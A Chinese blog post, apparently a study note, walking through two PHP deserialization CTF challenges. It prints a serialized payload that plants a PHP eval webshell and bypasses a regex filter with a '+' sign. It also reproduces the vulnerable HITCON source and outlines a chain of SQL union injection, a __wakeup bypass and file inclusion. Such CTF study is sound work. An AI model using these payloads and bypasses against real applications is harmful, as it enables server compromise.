前言
之前总结过一次反序列化问题,不过时间久了,也有些忘了。再加上红日安全day11
代码审计中的CTF
觉得可以好好的学习一下序列化问题,就再一次重头开始,梳理一下相关的知识点,做个记录。
DAY11–Pumpkin Pie 反序列化的利用
由于没有给可复制的源码。。手打的怕有误,就贴上这个图。漏洞解析: (上图代码第11行正则表达式应改为:’/O:\d:/‘)
第12行发现反序列化,而data
参数是通过构造函数
传入的,所以data
参数可控。__desturct()
函数在对象销毁时被调用,所以对象销毁的时候调用了createrCache()
函数,而createrCache函数
的功能是生成一个文件,并且用file_put_contents
写入内容。
再看看,反序列化前的限制
,前两位不能是O:
说明不能将一个对象进行序列化,并且输入的不能是O:十进制数字:
这样的形式。
直接看看payload
1
| a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}
|
a:
是数组,所以绕过了if
的第一个条件。这里在8
的前面加了一个+
,为了是绕过if
的第二个条件。不得不服大佬通过看php
的内核源码来发现出添加一个+
不会影响反序列化的流程,从而绕过了waf
。
所以思路还是很清晰的,利用生成对象的时候,和销毁对象自动调用的一系列方法,从而写入任意文件。
为了方便复现,我将接受参数的方法换成了GET
,结果被自己无比愚蠢的坑了一晚上。先是将函数名打错,后来又忘了将+
进行URL
编码,导致一直复现不成功。
第二题-HITCON反序列化以及一些绕过方式
这题代码量有点大,得慢慢分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| <?php include "config.php";
class HITCON{ public $method; public $args; public $conn;
function __construct($method, $args) { $this->method = $method; $this->args = $args; $this->__conn(); }
function __conn() { global $db_host, $db_name, $db_user, $db_pass, $DEBUG; if (!$this->conn) $this->conn = mysql_connect($db_host, $db_user, $db_pass); mysql_select_db($db_name, $this->conn); if ($DEBUG) { $sql = "DROP TABLE IF EXISTS users"; $this->__query($sql, $back=false); $sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64), password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false); $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; $this->__query($sql, $back=false); } mysql_query("SET names utf8"); mysql_query("SET sql_mode = 'strict_all_tables'"); }
function __query($sql, $back=true) { $result = @mysql_query($sql); if ($back) { return @mysql_fetch_object($result); } } function login() { list($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password)); $obj = $this->__query($sql);
if ( $obj != false ) { define('IN_FLAG', TRUE); $this->loadData($obj->role); } else { $this->__die("sorry!"); } }
function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; } function __die($msg) { $this->__close(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); }
function __close() { mysql_close($this->conn); }
function source() { highlight_file(__FILE__); }
function __destruct() { $this->__conn(); if (in_array($this->method, array("login", "source"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->__die("What do you do?"); } $this->__close(); }
function __wakeup() { foreach($this->args as $k => $v) { $this->args[$k] = strtolower(trim(mysql_escape_string($v))); } } } class SoFun{ public $file='index.php';
function __destruct(){ if(!empty($this->file)) { include $this->file; } } function __wakeup(){ $this-> file='index.php'; } } if(isset($_GET["data"])) { @unserialize($_GET["data"]); } else { new HITCON("source", array()); }
?> !defined('IN_FLAG') && exit('Access Denied');
|
首先,先找到了调用反序列化函数的地方loadData
,这边waf
绕过方法和上文相同,就不赘述了。
1 2 3 4 5 6 7
| function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; }
|
然后,跟一下loadData
在哪被调用,
1 2 3 4 5
| function __destruct() { $this->__conn(); if (in_array($this->method, array("login", "source"))) { @call_user_func_array(array($this, $this->method), $this->args); }
|
这里发现login
函数被调用,分析到这里,由于对PHP
不熟悉的弊端又显现了。。有点寸步难行。。贴上红日安全
的分析。
在HINCON类__destruct方法中,通过call_user_func_array()函数调用login或source方法,如果$this->method=’login’则可以调用login()函数,$this->method为类变量,反序列化可控。$this->args为调用函数传入参数,意味着login函数中$username变量可控,此时可通过SQL注入,构造查询数据。
1 2 3 4 5 6 7 8 9 10 11 12 13
| function login() { list($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password)); $obj = $this->__query($sql);
if ( $obj != false ) { define('IN_FLAG', TRUE); $this->loadData($obj->role); } else { $this->__die("sorry!"); } }
|
可以发现当数据库查询的结果不为空的时候才可以调用loadData
,并且将常量定义成TRUE
。这里可以通过sql
注入,使用union
联合查询使得查询结果不为空。以上都是在HINCON类
里,所以要构造一个序列化字符串
进行sql
注入。不过这边先要看看username
和password
参数是否可控。
接下来在看看SoFun类
1 2 3 4
| function __destruct(){ if(!empty($this->file)) { include $this->file; }
|
在销毁对象的时候包含了一个文件,而这个文件名被__wakeup
初始化了。需要绕过去,这个简单,只要改一下对象属性个数的值大于真实值。
那么其实思路就是,想办法构造一个利用序列化生成一个对象,在销毁对象的时候,调用login
造成sql注入
用union
联合查询的特性,使得返回值不为空,从而进入下一步反序列化的。下一步序列化,是为了使得文件包含flag.php
,由于在第一步序列化之后,flag.php
的常量就被定成TRUE
所以可以被文件包含读取到。
参考博客
分析到这,大概懂得反序列化漏洞的成因和基础利用,还有一般的绕过方式。但是像上面这样复杂点的,要自己构造生成序列化字符串的,还是难以解决。
http://www.cnblogs.com/nienie/p/9789017.html
https://www.freebuf.com/vuls/80293.html
https://blog.csdn.net/qq_42196196/article/details/81217375
Author:
zhhhy
Permalink:
http://yoursite.com/2018/11/14/Serialize/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Solgan:
Do you believe in DESTINY?